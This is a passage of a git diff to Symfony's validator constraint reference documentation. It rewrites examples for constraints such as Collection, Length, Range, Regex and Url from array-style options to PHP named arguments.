             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('profileData', new Assert\Collection([
-                    'fields' => [
+                $metadata->addPropertyConstraint('profileData', new Assert\Collection(
+                    fields: [
                         'personal_email'  => new Assert\Required([
                             new Assert\NotBlank(),
                             new Assert\Email(),
                         ]),
                         'alternate_email' => new Assert\Optional(new Assert\Email()),
                     ],
-                ]));
+                ));
             }
         }
 
@@ -291,28 +291,28 @@ groups. Take the following example::
 
     use Symfony\Component\Validator\Constraints as Assert;
 
-    $constraint = new Assert\Collection([
-        'fields' => [
+    $constraint = new Assert\Collection(
+        fields: [
             'name' => new Assert\NotBlank(['groups' => 'basic']),
             'email' => new Assert\NotBlank(['groups' => 'contact']),
         ],
-    ]);
+    );
 
 This will result in the following configuration::
 
-    $constraint = new Assert\Collection([
-        'fields' => [
-            'name' => new Assert\Required([
-                'constraints' => new Assert\NotBlank(['groups' => 'basic']),
-                'groups' => ['basic', 'strict'],
-            ]),
-            'email' => new Assert\Required([
-                "constraints" => new Assert\NotBlank(['groups' => 'contact']),
-                'groups' => ['basic', 'strict'],
-            ]),
+    $constraint = new Assert\Collection(
+        fields: [
+            'name' => new Assert\Required(
+                constraints: new Assert\NotBlank(groups: ['basic']),
+                groups: ['basic', 'strict'],
+            ),
+            'email' => new Assert\Required(
+                constraints: new Assert\NotBlank(groups: ['contact']),
+                groups: ['basic', 'strict'],
+            ),
         ],
-        'groups' => ['basic', 'strict'],
-    ]);
+        groups: ['basic', 'strict'],
+    );
 
 The default ``allowMissingFields`` option requires the fields in all groups.
 So when validating in ``contact`` group, ``$name`` can be empty but the key is
@@ -360,7 +360,7 @@ Parameter        Description
 ``fields``
 ~~~~~~~~~~
 
-**type**: ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``array``
 
 This option is required and is an associative array defining all of the
 keys in the collection and, for each key, exactly which validator(s) should
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 0d0dc933ae0..4d2c7743176 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -35,9 +35,9 @@ you can create your own named set or requirements to be reused consistently ever
                 return [
                     new Assert\NotBlank(),
                     new Assert\Type('string'),
-                    new Assert\Length(['min' => 12]),
+                    new Assert\Length(min: 12),
                     new Assert\NotCompromisedPassword(),
-                    new Assert\PasswordStrength(['minScore' => 4]),
+                    new Assert\PasswordStrength(minScore: 4),
                 ];
             }
         }
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 0bf40aca8e9..d33c54c0812 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -82,12 +82,12 @@ you might add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('emails', new Assert\Count([
-                    'min' => 1,
-                    'max' => 5,
-                    'minMessage' => 'You must specify at least one email',
-                    'maxMessage' => 'You cannot specify more than {{ limit }} emails',
-                ]));
+                $metadata->addPropertyConstraint('emails', new Assert\Count(
+                    min: 1,
+                    max: 5,
+                    minMessage: 'You must specify at least one email',
+                    maxMessage: 'You cannot specify more than {{ limit }} emails',
+                ));
             }
         }
 
diff --git a/reference/constraints/CssColor.rst b/reference/constraints/CssColor.rst
index 88a4eb4be9f..b617ebf1c42 100644
--- a/reference/constraints/CssColor.rst
+++ b/reference/constraints/CssColor.rst
@@ -110,15 +110,15 @@ the named CSS colors:
             {
                 $metadata->addPropertyConstraint('defaultColor', new Assert\CssColor());
 
-                $metadata->addPropertyConstraint('accentColor', new Assert\CssColor([
-                    'formats' => Assert\CssColor::HEX_LONG,
-                    'message' => 'The accent color must be a 6-character hexadecimal color.',
-                ]));
-
-                $metadata->addPropertyConstraint('currentColor', new Assert\CssColor([
-                    'formats' => [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
-                    'message' => 'The color "{{ value }}" is not a valid CSS color name.',
-                ]));
+                $metadata->addPropertyConstraint('accentColor', new Assert\CssColor(
+                    formats: Assert\CssColor::HEX_LONG,
+                    message: 'The accent color must be a 6-character hexadecimal color.',
+                ));
+
+                $metadata->addPropertyConstraint('currentColor', new Assert\CssColor(
+                    formats: [Assert\CssColor::BASIC_NAMED_COLORS, Assert\CssColor::EXTENDED_NAMED_COLORS],
+                    message: 'The color "{{ value }}" is not a valid CSS color name.',
+                ));
             }
         }
 
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index dd90ad9a0fd..23b36023cff 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -92,9 +92,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('weight', new Assert\DivisibleBy(0.25));
 
-                $metadata->addPropertyConstraint('quantity', new Assert\DivisibleBy([
-                    'value' => 5,
-                ]));
+                $metadata->addPropertyConstraint('quantity', new Assert\DivisibleBy(
+                    value: 5,
+                ));
             }
         }
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 516d6d07dca..41012e5e935 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -70,9 +70,9 @@ Basic Usage
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('email', new Assert\Email([
-                    'message' => 'The email "{{ value }}" is not a valid email.',
-                ]));
+                $metadata->addPropertyConstraint('email', new Assert\Email(
+                    message: 'The email "{{ value }}" is not a valid email.',
+                ));
             }
         }
 
diff --git a/reference/constraints/EqualTo.rst b/reference/constraints/EqualTo.rst
index d5d78f60a0f..fdc402b1a97 100644
--- a/reference/constraints/EqualTo.rst
+++ b/reference/constraints/EqualTo.rst
@@ -91,9 +91,9 @@ and that the ``age`` is ``20``, you could do the following:
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\EqualTo('Mary'));
 
-                $metadata->addPropertyConstraint('age', new Assert\EqualTo([
-                    'value' => 20,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\EqualTo(
+                    value: 20,
+                ));
             }
         }
 
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index bf015d17573..518c5c1f160 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -111,10 +111,10 @@ One way to accomplish this is with the Expression constraint:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addConstraint(new Assert\Expression([
-                    'expression' => 'this.getCategory() in ["php", "symfony"] or !this.isTechnicalPost()',
-                    'message' => 'If this is a tech post, the category should be either php or symfony!',
-                ]));
+                $metadata->addConstraint(new Assert\Expression(
+                    expression: 'this.getCategory() in ["php", "symfony"] or !this.isTechnicalPost()',
+                    message: 'If this is a tech post, the category should be either php or symfony!',
+                ));
             }
 
             // ...
@@ -200,10 +200,10 @@ assert that the expression must return ``true`` for validation to fail.
             {
                 public static function loadValidatorMetadata(ClassMetadata $metadata): void
                 {
-                    $metadata->addPropertyConstraint('isTechnicalPost', new Assert\Expression([
-                        'expression' => 'this.getCategory() in ["php", "symfony"] or value == false',
-                        'message' => 'If this is a tech post, the category should be either php or symfony!',
-                    ]));
+                    $metadata->addPropertyConstraint('isTechnicalPost', new Assert\Expression(
+                        expression: 'this.getCategory() in ["php", "symfony"] or value == false',
+                        message: 'If this is a tech post, the category should be either php or symfony!',
+                    ));
                 }
 
                 // ...
@@ -227,7 +227,7 @@ Options
 ``expression``
 ~~~~~~~~~~~~~~
 
-**type**: ``string`` [:ref:`default option <validation-default-option>`]
+**type**: ``string``
 
 The expression that will be evaluated. If the expression evaluates to a false
 value (using ``==``, not ``===``), validation will fail. Learn more about the
@@ -343,10 +343,10 @@ type (numeric, boolean, strings, null, etc.)
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('metric', new Assert\Expression([
-                    'expression' => 'value + error_margin < threshold',
-                    'values' => ['error_margin' => 0.25, 'threshold' => 1.5],
-                ]));
+                $metadata->addPropertyConstraint('metric', new Assert\Expression(
+                    expression: 'value + error_margin < threshold',
+                    values: ['error_margin' => 0.25, 'threshold' => 1.5],
+                ));
             }
 
             // ...
diff --git a/reference/constraints/ExpressionSyntax.rst b/reference/constraints/ExpressionSyntax.rst
index c1d086790c1..37e0ad7de4a 100644
--- a/reference/constraints/ExpressionSyntax.rst
+++ b/reference/constraints/ExpressionSyntax.rst
@@ -90,9 +90,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('promotion', new Assert\ExpressionSyntax());
 
-                $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionSyntax([
-                    'allowedVariables' => ['user', 'shipping_centers'],
-                ]));
+                $metadata->addPropertyConstraint('shippingOptions', new Assert\ExpressionSyntax(
+                    allowedVariables: ['user', 'shipping_centers'],
+                ));
             }
         }
 
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 6d9b72d17b8..495c19f9cbe 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -119,13 +119,13 @@ below a certain file size and a valid PDF, add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('bioFile', new Assert\File([
-                    'maxSize' => '1024k',
-                    'extensions' => [
+                $metadata->addPropertyConstraint('bioFile', new Assert\File(
+                    maxSize: '1024k',
+                    extensions: [
                         'pdf',
                     ],
-                    'extensionsMessage' => 'Please upload a valid PDF',
-                ]));
+                    extensionsMessage: 'Please upload a valid PDF',
+                ));
             }
         }
 
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index 4f2e34bcbfa..d1b79028acd 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -89,9 +89,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\GreaterThan(5));
 
-                $metadata->addPropertyConstraint('age', new Assert\GreaterThan([
-                    'value' => 18,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\GreaterThan(
+                    value: 18,
+                ));
             }
         }
 
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index e5a71e5f788..63c2ade6197 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -88,9 +88,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\GreaterThanOrEqual(5));
 
-                $metadata->addPropertyConstraint('age', new Assert\GreaterThanOrEqual([
-                    'value' => 18,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\GreaterThanOrEqual(
+                    value: 18,
+                ));
             }
         }
 
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 95b10d1736e..58ac0364669 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -72,9 +72,9 @@ will contain a host name.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('name', new Assert\Hostname([
-                    'message' => 'The server name must be a valid hostname.',
-                ]));
+                $metadata->addPropertyConstraint('name', new Assert\Hostname(
+                    message: 'The server name must be a valid hostname.',
+                ));
             }
         }
 
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index 3cf800200e2..8d5982eea6d 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -77,9 +77,9 @@ will contain an International Bank Account Number.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban([
-                    'message' => 'This is not a valid International Bank Account Number (IBAN).',
-                ]));
+                $metadata->addPropertyConstraint('bankAccountNumber', new Assert\Iban(
+                    message: 'This is not a valid International Bank Account Number (IBAN).',
+                ));
             }
         }
 
diff --git a/reference/constraints/IdenticalTo.rst b/reference/constraints/IdenticalTo.rst
index 5b6d853dc0b..f8844f90a72 100644
--- a/reference/constraints/IdenticalTo.rst
+++ b/reference/constraints/IdenticalTo.rst
@@ -94,9 +94,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\IdenticalTo('Mary'));
 
-                $metadata->addPropertyConstraint('age', new Assert\IdenticalTo([
-                    'value' => 20,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\IdenticalTo(
+                    value: 20,
+                ));
             }
         }
 
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 23fbe5a157a..5dd270c44f8 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -116,12 +116,12 @@ that it is between a certain size, add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('headshot', new Assert\Image([
-                    'minWidth' => 200,
-                    'maxWidth' => 400,
-                    'minHeight' => 200,
-                    'maxHeight' => 400,
-                ]));
+                $metadata->addPropertyConstraint('headshot', new Assert\Image(
+                    minWidth: 200,
+                    maxWidth: 400,
+                    minHeight: 200,
+                    maxHeight: 400,
+                ));
             }
         }
 
@@ -187,10 +187,10 @@ following code:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('headshot', new Assert\Image([
-                    'allowLandscape' => false,
-                    'allowPortrait' => false,
-                ]));
+                $metadata->addPropertyConstraint('headshot', new Assert\Image(
+                    allowLandscape: false,
+                    allowPortrait: false,
+                ));
             }
         }
 
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index 0b9ebe77491..3d0a1665944 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -93,9 +93,9 @@ method returns **false**:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse([
-                    'message' => "You've entered an invalid state.",
-                ]));
+                $metadata->addGetterConstraint('stateInvalid', new Assert\IsFalse(
+                    message: "You've entered an invalid state.",
+                ));
             }
 
             public function isStateInvalid(): bool
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index 678371f6e69..b50ba4f3e8b 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -97,9 +97,9 @@ Then you can validate this method with ``IsTrue`` as follows:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addGetterConstraint('tokenValid', new IsTrue([
-                    'message' => 'The token is invalid.',
-                ]));
+                $metadata->addGetterConstraint('tokenValid', new IsTrue(
+                    message: 'The token is invalid.',
+                ));
             }
 
             public function isTokenValid(): bool
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 954bff233d5..52d10565fe5 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -76,10 +76,10 @@ on an object that will contain an ISBN.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('isbn', new Assert\Isbn([
-                    'type' => Assert\Isbn::ISBN_10,
-                    'message' => 'This value is not valid.',
-                ]));
+                $metadata->addPropertyConstraint('isbn', new Assert\Isbn(
+                    type: Assert\Isbn::ISBN_10,
+                    message: 'This value is not valid.',
+                ));
             }
         }
 
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 28e15976f3c..337b2dc6a1e 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -69,9 +69,9 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('chapters', new Assert\Json([
-                    'message' => 'You\'ve entered an invalid Json.',
-                ]));
+                $metadata->addPropertyConstraint('chapters', new Assert\Json(
+                    message: 'You\'ve entered an invalid Json.',
+                ));
             }
         }
 
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 9a4478f509b..c1a8575070b 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -85,12 +85,12 @@ and ``50``, you might add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('firstName', new Assert\Length([
-                    'min' => 2,
-                    'max' => 50,
-                    'minMessage' => 'Your first name must be at least {{ limit }} characters long',
-                    'maxMessage' => 'Your first name cannot be longer than {{ limit }} characters',
-                ]));
+                $metadata->addPropertyConstraint('firstName', new Assert\Length(
+                    min: 2,
+                    max: 50,
+                    minMessage: 'Your first name must be at least {{ limit }} characters long',
+                    maxMessage: 'Your first name cannot be longer than {{ limit }} characters',
+                ));
             }
         }
 
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index 964bfbb3527..3d23bcda445 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -89,9 +89,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\LessThan(5));
 
-                $metadata->addPropertyConstraint('age', new Assert\LessThan([
-                    'value' => 80,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\LessThan(
+                    value: 80,
+                ));
             }
         }
 
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 9420c3e4376..ac66c62d7d0 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -88,9 +88,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('siblings', new Assert\LessThanOrEqual(5));
 
-                $metadata->addPropertyConstraint('age', new Assert\LessThanOrEqual([
-                    'value' => 80,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\LessThanOrEqual(
+                    value: 80,
+                ));
             }
         }
 
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index 49edd473d05..4bba45ae12b 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -78,9 +78,9 @@ Basic Usage
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('locale', new Assert\Locale([
-                    'canonicalize' => true,
-                ]));
+                $metadata->addPropertyConstraint('locale', new Assert\Locale(
+                    canonicalize: true,
+                ));
             }
         }
 
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 8f5ef34c4ba..0c835204091 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -72,9 +72,9 @@ will contain a credit card number.
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('cardNumber', new Assert\Luhn([
-                    'message' => 'Please check your credit card number',
-                ]));
+                $metadata->addPropertyConstraint('cardNumber', new Assert\Luhn(
+                    message: 'Please check your credit card number',
+                ));
             }
         }
 
diff --git a/reference/constraints/NotEqualTo.rst b/reference/constraints/NotEqualTo.rst
index b8ee4cac32f..dd3f633b4a1 100644
--- a/reference/constraints/NotEqualTo.rst
+++ b/reference/constraints/NotEqualTo.rst
@@ -93,9 +93,9 @@ the following:
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotEqualTo('Mary'));
 
-                $metadata->addPropertyConstraint('age', new Assert\NotEqualTo([
-                    'value' => 15,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\NotEqualTo(
+                    value: 15,
+                ));
             }
         }
 
diff --git a/reference/constraints/NotIdenticalTo.rst b/reference/constraints/NotIdenticalTo.rst
index 9ea93dc4b86..b2c20027292 100644
--- a/reference/constraints/NotIdenticalTo.rst
+++ b/reference/constraints/NotIdenticalTo.rst
@@ -94,9 +94,9 @@ The following constraints ensure that:
             {
                 $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo('Mary'));
 
-                $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo([
-                    'value' => 15,
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\NotIdenticalTo(
+                    value: 15,
+                ));
             }
         }
 
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 60125a763a1..0b242cacf08 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -101,9 +101,9 @@ or by a custom password strength estimator.
 
     class User
     {
-        #[Assert\PasswordStrength([
-            'minScore' => PasswordStrength::STRENGTH_VERY_STRONG, // Very strong password required
-        ])]
+        #[Assert\PasswordStrength(
+            minScore: PasswordStrength::STRENGTH_VERY_STRONG, // Very strong password required
+        )]
         protected $rawPassword;
     }
 
@@ -123,9 +123,9 @@ The default message supplied when the password does not reach the minimum requir
 
     class User
     {
-        #[Assert\PasswordStrength([
-            'message' => 'Your password is too easy to guess. Company\'s security policy requires to use a stronger password.'
-        ])]
+        #[Assert\PasswordStrength(
+            message: 'Your password is too easy to guess. Company\'s security policy requires to use a stronger password.'
+        )]
         protected $rawPassword;
     }
 
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index edd199c48b9..46a9e3799b3 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -78,11 +78,11 @@ you might add the following:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('height', new Assert\Range([
-                    'min' => 120,
-                    'max' => 180,
-                    'notInRangeMessage' => 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
-                ]));
+                $metadata->addPropertyConstraint('height', new Assert\Range(
+                    min: 120,
+                    max: 180,
+                    notInRangeMessage: 'You must be between {{ min }}cm and {{ max }}cm tall to enter',
+                ));
             }
         }
 
@@ -154,10 +154,10 @@ date must lie within the current year like this:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('startDate', new Assert\Range([
-                    'min' => 'first day of January',
-                    'max' => 'first day of January next year',
-                ]));
+                $metadata->addPropertyConstraint('startDate', new Assert\Range(
+                    min: 'first day of January',
+                    max: 'first day of January next year',
+                ));
             }
         }
 
@@ -224,10 +224,10 @@ dates. If you want to fix the timezone, append it to the date string:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('startDate', new Assert\Range([
-                    'min' => 'first day of January UTC',
-                    'max' => 'first day of January next year UTC',
-                ]));
+                $metadata->addPropertyConstraint('startDate', new Assert\Range(
+                    min: 'first day of January UTC',
+                    max: 'first day of January next year UTC',
+                ));
             }
         }
 
@@ -294,10 +294,10 @@ can check that a delivery date starts within the next five hours like this:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('deliveryDate', new Assert\Range([
-                    'min' => 'now',
-                    'max' => '+5 hours',
-                ]));
+                $metadata->addPropertyConstraint('deliveryDate', new Assert\Range(
+                    min: 'now',
+                    max: '+5 hours',
+                ));
             }
         }
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 2e11a8d04fc..e3b4d4711b2 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -71,9 +71,9 @@ more word characters at the beginning of your string:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('description', new Assert\Regex([
-                    'pattern' => '/^\w+/',
-                ]));
+                $metadata->addPropertyConstraint('description', new Assert\Regex(
+                    pattern: '/^\w+/',
+                ));
             }
         }
 
@@ -145,11 +145,11 @@ it a custom message:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('firstName', new Assert\Regex([
-                    'pattern' => '/\d/',
-                    'match' => false,
-                    'message' => 'Your name cannot contain a number',
-                ]));
+                $metadata->addPropertyConstraint('firstName', new Assert\Regex(
+                    pattern: '/\d/',
+                    match: false,
+                    message: 'Your name cannot contain a number',
+                ));
             }
         }
 
@@ -236,10 +236,10 @@ need to specify the HTML5 compatible pattern in the ``htmlPattern`` option:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('name', new Assert\Regex([
-                    'pattern' => '/^[a-z]+$/i',
-                    'htmlPattern' => '[a-zA-Z]+',
-                ]));
+                $metadata->addPropertyConstraint('name', new Assert\Regex(
+                    pattern: '/^[a-z]+$/i',
+                    htmlPattern: '[a-zA-Z]+',
+                ));
             }
         }
 
@@ -275,7 +275,7 @@ Parameter          Description
 ``pattern``
 ~~~~~~~~~~~
 
-**type**: ``string`` [:ref:`default option <validation-default-option>`]
+**type**: ``string``
 
 This required option is the regular expression pattern that the input will
 be matched against. By default, this validator will fail if the input string
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 7620997f0a3..078be338cdf 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -110,7 +110,7 @@ You can validate each of these constraints sequentially to solve these issues:
                 $metadata->addPropertyConstraint('address', new Assert\Sequentially([
                     new Assert\NotNull(),
                     new Assert\Type('string'),
-                    new Assert\Length(['min' => 10]),
+                    new Assert\Length(min: 10),
                     new Assert\Regex(self::ADDRESS_REGEX),
                     new AcmeAssert\Geolocalizable(),
                 ]));
@@ -123,7 +123,7 @@ Options
 ``constraints``
 ~~~~~~~~~~~~~~~
 
-**type**: ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``array``
 
 This required option is the array of validation constraints that you want
 to apply sequentially.
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index b99e8ce1c54..b49536dff8b 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -127,14 +127,14 @@ The following example checks if ``emailAddress`` is an instance of ``Symfony\Com
 
                 $metadata->addPropertyConstraint('firstName', new Assert\Type('string'));
 
-                $metadata->addPropertyConstraint('age', new Assert\Type([
-                    'type' => 'integer',
-                    'message' => 'The value {{ value }} is not a valid {{ type }}.',
-                ]));
-
-                $metadata->addPropertyConstraint('accessCode', new Assert\Type([
-                    'type' => ['alpha', 'digit'],
-                ]));
+                $metadata->addPropertyConstraint('age', new Assert\Type(
+                    type: 'integer',
+                    message: 'The value {{ value }} is not a valid {{ type }}.',
+                ));
+
+                $metadata->addPropertyConstraint('accessCode', new Assert\Type(
+                    type: ['alpha', 'digit'],
+                ));
             }
         }
 
@@ -169,7 +169,7 @@ Parameter        Description
 ``type``
 ~~~~~~~~
 
-**type**: ``string`` or ``array`` [:ref:`default option <validation-default-option>`]
+**type**: ``string`` or ``array``
 
 This required option defines the type or collection of types allowed for the
 given value. Each type is either the FQCN (fully qualified class name) of some
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 68754738271..a1be67d6f2f 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -162,9 +162,9 @@ collection::
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('coordinates', new Assert\Unique([
-                    'fields' => ['latitude', 'longitude'],
-                ]));
+                $metadata->addPropertyConstraint('coordinates', new Assert\Unique(
+                    fields: ['latitude', 'longitude'],
+                ));
             }
         }
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index d4fbfeb8666..e819a8009dc 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -95,9 +95,9 @@ between all of the rows in your user table:
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addConstraint(new UniqueEntity([
-                    'fields' => 'email',
-                ]));
+                $metadata->addConstraint(new UniqueEntity(
+                    fields: 'email',
+                ));
 
                 $metadata->addPropertyConstraint('email', new Assert\Email());
             }
@@ -260,7 +260,7 @@ Now, the message would be bound to the ``port`` field with this configuration.
 ``fields``
 ~~~~~~~~~~
 
-**type**: ``array`` | ``string`` [:ref:`default option <validation-default-option>`]
+**type**: ``array`` | ``string``
 
 This required option is the field (or list of fields) on which this entity
 should be unique. For example, if you specified both the ``email`` and ``name``
@@ -346,10 +346,10 @@ this option to specify one or more fields to only ignore ``null`` values on them
         {
             public static function loadValidatorMetadata(ClassMetadata $metadata)
             {
-                $metadata->addConstraint(new UniqueEntity([
-                    'fields' => ['email', 'phoneNumber'],
-                    'ignoreNull' => 'phoneNumber',
-                ]));
+                $metadata->addConstraint(new UniqueEntity(
+                    fields: ['email', 'phoneNumber'],
+                    ignoreNull: 'phoneNumber',
+                ));
 
                 // ...
             }
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 74f0d750dfd..fbeaa6da522 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -152,9 +152,9 @@ Parameter        Description
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
-                    'message' => 'The url "{{ value }}" is not a valid url.',
-                ]));
+                $metadata->addPropertyConstraint('bioUrl', new Assert\Url(
+                    message: 'The url "{{ value }}" is not a valid url.',
+                ));
             }
         }
 
@@ -231,9 +231,9 @@ the ``ftp://`` type URLs to be valid, redefine the ``protocols`` array, listing
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
-                    'protocols' => ['http', 'https', 'ftp'],
-                ]));
+                $metadata->addPropertyConstraint('bioUrl', new Assert\Url(
+                    protocols: ['http', 'https', 'ftp'],
+                ));
             }
         }
 
@@ -302,9 +302,9 @@ also relative URLs that contain no protocol (e.g. ``//example.com``).
 
             public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
-                $metadata->addPropertyConstraint('bioUrl', new Assert\Url([
